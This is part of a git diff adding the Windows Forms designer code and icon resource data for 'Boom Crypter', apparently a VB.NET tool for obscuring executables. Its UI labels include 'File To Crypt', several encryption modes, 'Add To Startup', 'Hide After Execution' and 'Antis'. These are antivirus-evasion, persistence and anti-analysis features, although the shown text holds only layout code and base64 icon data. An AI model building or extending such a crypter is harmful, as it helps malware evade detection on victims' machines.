System.Drawing.Font("Perpetua", 9.0!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.TextBox1.Location = New System.Drawing.Point(6, 18) + Me.TextBox1.Name = "TextBox1" + Me.TextBox1.Size = New System.Drawing.Size(246, 21) + Me.TextBox1.TabIndex = 0 + Me.TextBox1.Text = "File To Crypt Here..." + ' + 'Button1 + ' + Me.Button1.Font = New System.Drawing.Font("Perpetua", 9.0!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Button1.Location = New System.Drawing.Point(258, 18) + Me.Button1.Name = "Button1" + Me.Button1.Size = New System.Drawing.Size(79, 21) + Me.Button1.TabIndex = 1 + Me.Button1.Text = "Browse File" + Me.Button1.UseVisualStyleBackColor = True + ' + 'Button2 + ' + Me.Button2.Font = New System.Drawing.Font("Perpetua", 9.0!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Button2.Location = New System.Drawing.Point(12, 432) + Me.Button2.Name = "Button2" + Me.Button2.Size = New System.Drawing.Size(343, 24) + Me.Button2.TabIndex = 2 + Me.Button2.Text = "Protect File" + Me.Button2.UseVisualStyleBackColor = True + ' + 'TextBox2 + ' + Me.TextBox2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox2.Location = New System.Drawing.Point(6, 43) + Me.TextBox2.Name = "TextBox2" + Me.TextBox2.Size = New System.Drawing.Size(162, 20) + Me.TextBox2.TabIndex = 5 + Me.TextBox2.Text = "Generated Key Hrere..." + Me.TextBox2.TextAlign = System.Windows.Forms.HorizontalAlignment.Center + ' + 'Button3 + ' + Me.Button3.Font = New System.Drawing.Font("Perpetua", 9.0!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Button3.Location = New System.Drawing.Point(170, 43) + Me.Button3.Name = "Button3" + Me.Button3.Size = New System.Drawing.Size(162, 20) + Me.Button3.TabIndex = 6 + Me.Button3.Text = "Generate Key" + Me.Button3.UseVisualStyleBackColor = True + ' + 'TextBox3 + ' + Me.TextBox3.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle + Me.TextBox3.Enabled = False + Me.TextBox3.Font = New System.Drawing.Font("Perpetua", 9.0!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.TextBox3.Location = New System.Drawing.Point(6, 63) + Me.TextBox3.Name = "TextBox3" + Me.TextBox3.Size = New System.Drawing.Size(158, 21) + Me.TextBox3.TabIndex = 7 + Me.TextBox3.Text = "Icon To Use Here..." + ' + 'Button4 + ' + Me.Button4.Enabled = False + Me.Button4.Font = New System.Drawing.Font("Perpetua", 9.0!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.Button4.Location = New System.Drawing.Point(170, 63) + Me.Button4.Name = "Button4" + Me.Button4.Size = New System.Drawing.Size(82, 21) + Me.Button4.TabIndex = 8 + Me.Button4.Text = "Browse Icon" + Me.Button4.UseVisualStyleBackColor = True + ' + 'PictureBox1 + ' + Me.PictureBox1.BackColor = System.Drawing.Color.FromArgb(CType(CType(224, Byte), Integer), CType(CType(224, Byte), Integer), CType(CType(224, Byte), Integer)) + Me.PictureBox1.Location = New System.Drawing.Point(280, 60) + Me.PictureBox1.Name = "PictureBox1" + Me.PictureBox1.Size = New System.Drawing.Size(52, 39) + Me.PictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.CenterImage + Me.PictureBox1.TabIndex = 9 + Me.PictureBox1.TabStop = False + ' + 'CheckBox1 + ' + Me.CheckBox1.AutoSize = True + Me.CheckBox1.Font = New System.Drawing.Font("Perpetua", 9.0!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.CheckBox1.Location = New System.Drawing.Point(6, 19) + Me.CheckBox1.Name = "CheckBox1" + Me.CheckBox1.Size = New System.Drawing.Size(107, 18) + Me.CheckBox1.TabIndex = 10 + Me.CheckBox1.Text = "Add To Startup" + Me.CheckBox1.UseVisualStyleBackColor = True + ' + 'CheckBox2 + ' + Me.CheckBox2.AutoSize = True + Me.CheckBox2.Font = New System.Drawing.Font("Perpetua", 9.0!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.CheckBox2.Location = New System.Drawing.Point(193, 19) + Me.CheckBox2.Name = "CheckBox2" + Me.CheckBox2.Size = New System.Drawing.Size(139, 18) + Me.CheckBox2.TabIndex = 11 + Me.CheckBox2.Text = "Hide After Execution" + Me.CheckBox2.UseVisualStyleBackColor = True + ' + 'CheckBox3 + ' + Me.CheckBox3.AutoSize = True + Me.CheckBox3.Font = New System.Drawing.Font("Perpetua", 9.0!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.CheckBox3.Location = New System.Drawing.Point(124, 19) + Me.CheckBox3.Name = "CheckBox3" + Me.CheckBox3.Size = New System.Drawing.Size(53, 18) + Me.CheckBox3.TabIndex = 12 + Me.CheckBox3.Text = "Antis" + Me.CheckBox3.UseVisualStyleBackColor = True + ' + 'GroupBox1 + ' + Me.GroupBox1.BackColor = System.Drawing.Color.Transparent + Me.GroupBox1.Controls.Add(Me.CheckBox1) + Me.GroupBox1.Controls.Add(Me.CheckBox2) + Me.GroupBox1.Controls.Add(Me.CheckBox3) + Me.GroupBox1.Location = New System.Drawing.Point(12, 358) + Me.GroupBox1.Name = "GroupBox1" + Me.GroupBox1.Size = New System.Drawing.Size(343, 45) + Me.GroupBox1.TabIndex = 13 + Me.GroupBox1.TabStop = False + Me.GroupBox1.Text = "File Options" + ' + 'GroupBox2 + ' + Me.GroupBox2.BackColor = System.Drawing.Color.Transparent + Me.GroupBox2.Controls.Add(Me.Label1) + Me.GroupBox2.Controls.Add(Me.CheckBox4) + Me.GroupBox2.Controls.Add(Me.TextBox1) + Me.GroupBox2.Controls.Add(Me.Button1) + Me.GroupBox2.Controls.Add(Me.PictureBox1) + Me.GroupBox2.Controls.Add(Me.TextBox3) + Me.GroupBox2.Controls.Add(Me.Button4) + Me.GroupBox2.Location = New System.Drawing.Point(12, 168) + Me.GroupBox2.Name = "GroupBox2" + Me.GroupBox2.Size = New System.Drawing.Size(343, 106) + Me.GroupBox2.TabIndex = 14 + Me.GroupBox2.TabStop = False + Me.GroupBox2.Text = "Brwose File\Icon" + ' + 'GroupBox3 + ' + Me.GroupBox3.BackColor = System.Drawing.Color.Transparent + Me.GroupBox3.Controls.Add(Me.RadioButton5) + Me.GroupBox3.Controls.Add(Me.RadioButton4) + Me.GroupBox3.Controls.Add(Me.RadioButton3) + Me.GroupBox3.Controls.Add(Me.RadioButton2) + Me.GroupBox3.Controls.Add(Me.TextBox2) + Me.GroupBox3.Controls.Add(Me.RadioButton1) + Me.GroupBox3.Controls.Add(Me.Button3) + Me.GroupBox3.Location = New System.Drawing.Point(12, 280) + Me.GroupBox3.Name = "GroupBox3" + Me.GroupBox3.Size = New System.Drawing.Size(343, 72) + Me.GroupBox3.TabIndex = 15 + Me.GroupBox3.TabStop = False + Me.GroupBox3.Text = "Custom Encryption\Key\Process" + ' + 'RadioButton5 + ' + Me.RadioButton5.AutoSize = True + Me.RadioButton5.Font = New System.Drawing.Font("Perpetua", 9.0!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton5.Location = New System.Drawing.Point(282, 19) + Me.RadioButton5.Name = "RadioButton5" + Me.RadioButton5.Size = New System.Drawing.Size(50, 18) + Me.RadioButton5.TabIndex = 11 + Me.RadioButton5.TabStop = True + Me.RadioButton5.Text = "Stair" + Me.RadioButton5.UseVisualStyleBackColor = True + ' + 'RadioButton4 + ' + Me.RadioButton4.AutoSize = True + Me.RadioButton4.Font = New System.Drawing.Font("Perpetua", 9.0!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton4.Location = New System.Drawing.Point(222, 19) + Me.RadioButton4.Name = "RadioButton4" + Me.RadioButton4.Size = New System.Drawing.Size(45, 18) + Me.RadioButton4.TabIndex = 10 + Me.RadioButton4.TabStop = True + Me.RadioButton4.Text = "Xor" + Me.RadioButton4.UseVisualStyleBackColor = True + ' + 'RadioButton3 + ' + Me.RadioButton3.AutoSize = True + Me.RadioButton3.Font = New System.Drawing.Font("Perpetua", 9.0!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton3.Location = New System.Drawing.Point(86, 19) + Me.RadioButton3.Name = "RadioButton3" + Me.RadioButton3.Size = New System.Drawing.Size(51, 18) + Me.RadioButton3.TabIndex = 9 + Me.RadioButton3.TabStop = True + Me.RadioButton3.Text = "TDes" + Me.RadioButton3.UseVisualStyleBackColor = True + ' + 'RadioButton2 + ' + Me.RadioButton2.AutoSize = True + Me.RadioButton2.Font = New System.Drawing.Font("Perpetua", 9.0!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton2.Location = New System.Drawing.Point(159, 19) + Me.RadioButton2.Name = "RadioButton2" + Me.RadioButton2.Size = New System.Drawing.Size(45, 18) + Me.RadioButton2.TabIndex = 8 + Me.RadioButton2.Text = "Rc4" + Me.RadioButton2.UseVisualStyleBackColor = True + ' + 'RadioButton1 + ' + Me.RadioButton1.AutoSize = True + Me.RadioButton1.Checked = True + Me.RadioButton1.Font = New System.Drawing.Font("Perpetua", 9.0!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.RadioButton1.Location = New System.Drawing.Point(15, 19) + Me.RadioButton1.Name = "RadioButton1" + Me.RadioButton1.Size = New System.Drawing.Size(55, 18) + Me.RadioButton1.TabIndex = 7 + Me.RadioButton1.TabStop = True + Me.RadioButton1.Text = "Proto" + Me.RadioButton1.UseVisualStyleBackColor = True + ' + 'ProgressBar1 + ' + Me.ProgressBar1.BackColor = System.Drawing.SystemColors.ActiveCaptionText + Me.ProgressBar1.ForeColor = System.Drawing.SystemColors.InactiveCaptionText + Me.ProgressBar1.Location = New System.Drawing.Point(12, 409) + Me.ProgressBar1.Name = "ProgressBar1" + Me.ProgressBar1.Size = New System.Drawing.Size(343, 17) + Me.ProgressBar1.TabIndex = 16 + ' + 'CheckBox4 + ' + Me.CheckBox4.AutoSize = True + Me.CheckBox4.Font = New System.Drawing.Font("Perpetua", 9.0!, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.CheckBox4.Location = New System.Drawing.Point(6, 45) + Me.CheckBox4.Name = "CheckBox4" + Me.CheckBox4.Size = New System.Drawing.Size(89, 18) + Me.CheckBox4.TabIndex = 13 + Me.CheckBox4.Text = "Enable Icon" + Me.CheckBox4.UseVisualStyleBackColor = True + ' + 'Label1 + ' + Me.Label1.AutoSize = True + Me.Label1.Location = New System.Drawing.Point(279, 44) + Me.Label1.Name = "Label1" + Me.Label1.Size = New System.Drawing.Size(48, 13) + Me.Label1.TabIndex = 14 + Me.Label1.Text = "Preview:" + ' + 'Form1 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.BackColor = System.Drawing.Color.AliceBlue + Me.BackgroundImage = Global.Boom_Crypter.My.Resources.Resources.done + Me.ClientSize = New System.Drawing.Size(367, 465) + Me.Controls.Add(Me.ProgressBar1) + Me.Controls.Add(Me.GroupBox3) + Me.Controls.Add(Me.GroupBox2) + Me.Controls.Add(Me.GroupBox1) + Me.Controls.Add(Me.Button2) + Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon) + Me.Name = "Form1" + Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen + Me.Text = "Boom Crypter" + CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).EndInit() + Me.GroupBox1.ResumeLayout(False) + Me.GroupBox1.PerformLayout() + Me.GroupBox2.ResumeLayout(False) + Me.GroupBox2.PerformLayout() + Me.GroupBox3.ResumeLayout(False) + Me.GroupBox3.PerformLayout() + Me.ResumeLayout(False) + + End Sub + Friend WithEvents TextBox1 As System.Windows.Forms.TextBox + Friend WithEvents Button1 As System.Windows.Forms.Button + Friend WithEvents Button2 As System.Windows.Forms.Button + Friend WithEvents TextBox2 As System.Windows.Forms.TextBox + Friend WithEvents Button3 As System.Windows.Forms.Button + Friend WithEvents TextBox3 As System.Windows.Forms.TextBox + Friend WithEvents Button4 As System.Windows.Forms.Button + Friend WithEvents PictureBox1 As System.Windows.Forms.PictureBox + Friend WithEvents CheckBox1 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox2 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox3 As System.Windows.Forms.CheckBox + Friend WithEvents GroupBox1 As System.Windows.Forms.GroupBox + Friend WithEvents GroupBox2 As System.Windows.Forms.GroupBox + Friend WithEvents GroupBox3 As System.Windows.Forms.GroupBox + Friend WithEvents RadioButton2 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton1 As System.Windows.Forms.RadioButton + Friend WithEvents Timer1 As System.Windows.Forms.Timer + Friend WithEvents ProgressBar1 As System.Windows.Forms.ProgressBar + Friend WithEvents RadioButton3 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton4 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton5 As System.Windows.Forms.RadioButton + Friend WithEvents CheckBox4 As System.Windows.Forms.CheckBox + Friend WithEvents Label1 As System.Windows.Forms.Label + +End Class diff --git a/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/Form1.resx b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/Form1.resx new file mode 100644 index 0000000..66a223c --- /dev/null +++ b/scode (Boom Crypter Source/Boom Crypter/Boom Crypter/Form1.resx @@ -0,0 +1,1790 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + + + AAABAAUAEBAAAAAAIABoBAAAVgAAACAgAAAAACAAqBAAAL4EAAAwMAAAAAAgAKglAABmFQAAQEAAAAAA + IAAoQgAADjsAAICAAAAAACAAKAgBADZ9AAAoAAAAEAAAACAAAAABACAAAAAAAEAEAAAAAAAAAAAAAAAA + AAAAAAAA////Af///wH///8B////Af///wEAAAADAAAABQAAAAP///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AQAAABkjIyONPz8/2UREROs5OTnTFBQUgwAAABP///8B////Af// + /wH///8B////Af///wH///8B////AQcHBzM+Pj7pYmJi/2NjY/9jY2P/Y2Nj/19fX/8rKyvbAAAAJf// + /wH///8B////Af///wH///8B////AQAAAA0wMDDhTk5O/05OTv9OTk7/Tk5O/05OTv9OTk7/Tk5O/x0d + HckAAAAH////Af///wH///8B////Af///wENDQ1rNjY2/zc3N/83Nzf/Nzc3/zc3N/83Nzf/Nzc3/zc3 + N/8tLS3/AAAASf///wH///8B////Af///wH///8BDw8Pqx0dHf8pKSn/Ly8v/yYmJv8dHR3/HR0d/x0d + Hf8dHR3/HR0d/wUFBYP///8B////Af///wH///8B////AQICArUtLS3/Z2dn/11dXf9KSkr/Ly8v/wkJ + Cf8EBAT/BAQE/wQEBP8BAQGL////Af///wH///8B////Af///wEAAACPbW1t/5KSkv+FhYX/b29v/1NT + U/8lJSX/AQEB/wEBAf8AAAD/AAAAY////wH///8B////Af///wH///8BAAAAM3BwcP29vb3/rKys/4+P + j/9vb2//Pz8//wEBAf8BAQH/AAAA7QAAABP///8B////Af///wH///8B////Af///wEmJiaJwMDA/8vL + y/+mpqb/gYGB/yoqKv8NDQ3/AAAA/wAAAIf///8B////Af///wEAAAAH////Af///wH///8B////ARER + EXFQUFDvVFRU/yQkJP8AAAD/RkZG/TMzNP9LS0vL////AQFm21kKeuS9BkrPm////wH///8B////Af// + /wH///8BAAAACwAAAEMAAABVAAAAN0pKSjFkbHW9DRiadQAAbj8BZstXAlHWKf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wEBSrNZA3vzlQdj1McAIJE7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BB4X5vwAWVisWo/05BUbfO/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////ARCY/XsCNr1h////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wEARukF////Af// + /wH///8B////AQAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA + //8AAP//AAD//wAA//8oAAAAIAAAAEAAAAABACAAAAAAAIAQAAAAAAAAAAAAAAAAAAAAAAAA////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AQAAAAUAAAAJAAAACQAA + AAX///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAACwAAAFEAAACbBwcHxxAQ + ENcNDQ3VAQEBwQAAAI8AAABFAAAAC////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAwAAAF0TExPbPj4+/2Bg + YP9wcHD/cnJy/3Fxcf9ra2v/UVFR/ygoKPsCAgLDAAAARwAAAAP///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AQAAAAsEBASlOjo6/2Zm + Zv9nZ2f/Z2dn/2dnZ/9nZ2f/Z2dn/2dnZ/9nZ2f/aGho/1dXV/8YGBj1AAAAfQAAAAn///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wEAAAAHCAgIt0lJ + Sf9eXl7/Xl5e/15eXv9eXl7/Xl5e/15eXv9eXl7/Xl5e/15eXv9eXl7/Xl5e/1xcXP8hISH7AAAAhQAA + AAX///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AQIC + Aos+Pj7/U1NT/1NTU/9TU1P/U1NT/1NTU/9TU1P/U1NT/1NTU/9TU1P/U1NT/1NTU/9TU1P/U1NT/1NT + U/8XFxf3AAAAV////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wEAAAAxISEh+0lJSf9JSUn/SUlJ/0lJSf9JSUn/SUlJ/0lJSf9JSUn/SUlJ/0lJSf9JSUn/SUlJ/0lJ + Sf9JSUn/SUlJ/0JCQv8EBATXAAAAF////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AQQEBKc5OTn/PT09/z09Pf89PT3/PT09/z09Pf89PT3/PT09/z09Pf89PT3/PT09/z09 + Pf89PT3/PT09/z09Pf89PT3/PT09/x4eHv8AAABl////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wEAAAANExMT9zExMf8xMTH/MTEx/zExMf8xMTH/MTEx/zExMf8xMTH/MTEx/zEx + Mf8xMTH/MTEx/zExMf8xMTH/MTEx/zExMf8xMTH/Kioq/wAAALkAAAAF////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AQAAAEMXFxf/IyMj/yMjI/8jIyP/IyMj/yMjI/8jIyP/IyMj/yMj + I/8jIyP/IyMj/yMjI/8jIyP/IyMj/yMjI/8jIyP/IyMj/yMjI/8kJCT/BQUF5QAAABP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BAAAAZxISEv8WFhb/FhYW/yQkJP86Ojr/Pj4+/zk5 + Of8vLy//JCQk/xkZGf8WFhb/FhYW/xYWFv8WFhb/FhYW/xYWFv8WFhb/FhYW/xYWFv8HBwf1AAAAI/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wEAAABxBgYG/wcHB/8tLS3/Xl5e/1tb + W/9WVlb/T09P/0VFRf87Ozv/Ly8v/xgYGP8HBwf/CAgI/wgICP8ICAj/CAgI/wgICP8ICAj/CAgI/wIC + AvkAAAAl////Af///wH///8B////Af///wH///8B////Af///wH///8B////AQAAAGUAAAD/Dw8P/3Jy + cv90dHT/cHBw/2tra/9jY2P/WVlZ/05OTv9BQUH/MzMz/xQUFP8AAAD/AQEB/wEBAf8BAQH/AQEB/wEB + Af8BAQH/AAAA9QAAABv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAPwAA + AP89PT3/iIiI/4iIiP+FhYX/gICA/3d3d/9tbW3/YGBg/1JSUv9ERET/NDQ0/wYGBv8BAQH/AQEB/wEB + Af8BAQH/AQEB/wEBAf8AAADbAAAAC////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wEAAAALAAAA81JSUv+enp7/np6e/5ubm/+UlJT/ioqK/35+fv9xcXH/Y2Nj/1NTU/9CQkL/Ghoa/wEB + Af8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAAKH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wEAAACfQ0ND/7Kysv+0tLT/sLCw/6ioqP+dnZ3/j4+P/4CAgP9xcXH/YGBg/09P + T/8pKSn/AQEB/wEBAf8BAQH/AQEB/wEBAf8AAAD9AAAAQf///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AQAAACcMDAz5vLy8/8nJyf/FxcX/vLy8/66urv+fn5//jo6O/319 + ff9sbGz/Wlpa/ykpKf8BAQH/AQEB/wEBAf8BAQH/AAAA/wAAALkAAAAF////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AQAAAHtSUlL/39/f/9ra2v/Nzc3/vb29/6ys + rP+ZmZn/h4eH/3V1df9iYmL/EhIS/wEBAf8AAAD/AAAA/wAAAP8AAADtAAAAJ////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAwAAAKViYmL/5eXl/9ra + 2v/Hx8f/tLS0/6CgoP+NjY3/e3t7/zU1Nf8AAAD/ISEh/xMTE/8AAAD/AAAA/wAAANkAAAAx////Af// + /wH///8B////Af///wH///8BAAAADQAAAAv///8B////Af///wH///8B////Af///wH///8BAAAAAwAA + AIkfHx/9f39//66urv+ysrL/mpqa/2pqav8mJib/AAAA/wEBAf83Nzf/UFBQ/xMTE/8CAgL/Pz8//yIi + IrkAAAAF////AQAAAAMABA0ZAC2LVQA1wp8BPN/fABRgY////wH///8B////Af///wH///8B////Af// + /wH///8B////AQAAAD0AAADBAAAA/wICAv8BAQH/AAAA/wEBAf8BAQH/AAAA/wwMDPWEhIT/RUVF/3By + df+OjY3/GRkZd////wH///8BAGDjUwJy7vELlf//FKT+/xF++dUAJrlT////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAApAAAAbwAAAJsAAACtAAAApwAAAIsAAABRAAAADVNT + U6lycnL/fpWx/xswiOEAAAApAAAAA////wEAcPsvA4n5twJj820APNwj////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BAAAACUdHR5MpKSlnAAnvNwAAwZMAAIWZAABOYwBAoBkAJWFdAAAAEf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AQAAogUAAGUdAHHziwJ0+v0AOrbNABJAVwAA + AAv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAWnQgwFBq70ATa4vB5z9oQ+i + /vsHYfX7ACaqvwAIKCH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wEDh/2jB3jx+QAE + ETX///8BBmv7LRqx/bMFS+nVAAQWC////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AQFl + +18OnP//AB12c////wH///8B////AQA03g3///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BAFX1GxOq/v0AKqyzAAAAA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BDoz91QRD2MMAAAAJ////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEARukTABplA////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAKAAAADAAAABgAAAAAQAgAAAAAACAJQAAAAAAAAAAAAAAAAAAAAAAAP// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAADAAAACQAAAA0AAAANAAAADQAAAAkAAAAD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAJAAAAJwAAAGEAAACRAAAAswAAAMEAAADDAAAAvwAA + AKsAAACFAAAAVQAAACUAAAAJ////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BAAAACwAAAEcAAACnBwcH5xsbG/syMjL/RUVF/1BQ + UP9RUVH/SUlJ/zc3N/8hISH9CgoK8wAAANEAAACLAAAAOQAAAAn///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wEAAAAnAAAApw0NDfU9PT3/YWFh/29v + b/9wcHD/b29v/29vb/9vb2//b29v/3BwcP9wcHD/Z2dn/0dHR/8XFxf9AAAA3QAAAH0AAAAf////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAwAAAFcGBgblNDQ0/2Zm + Zv9paWn/aWlp/2lpaf9paWn/aWlp/2lpaf9paWn/aWlp/2lpaf9paWn/aWlp/2lpaf9paWn/RkZG/wsL + C/sAAAC3AAAAPQAAAAP///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wEAAAAFAAAAZw4O + DvVMTEz/Y2Nj/2NjY/9jY2P/Y2Nj/2NjY/9jY2P/Y2Nj/2NjY/9jY2P/Y2Nj/2NjY/9jY2P/Y2Nj/2Nj + Y/9jY2P/Y2Nj/1dXV/8aGhr9AAAAzQAAAEEAAAAF////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wEAAABdDQ0N9VFRUf9cXFz/XFxc/1xcXP9cXFz/XFxc/1xcXP9cXFz/XFxc/1xcXP9cXFz/XFxc/1xc + XP9cXFz/XFxc/1xcXP9cXFz/XFxc/1xcXP9YWFj/HR0d/wAAAMcAAAA3////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AQAAADkJCQnvSUlJ/1VVVf9VVVX/VVVV/1VVVf9VVVX/VVVV/1VVVf9VVVX/VVVV/1VV + Vf9VVVX/VVVV/1VVVf9VVVX/VVVV/1VVVf9VVVX/VVVV/1VVVf9VVVX/U1NT/xMTE/0AAACxAAAAH/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BAAAACQICAsk2Njb/Tk5O/05OTv9OTk7/Tk5O/05OTv9OTk7/Tk5O/05O + 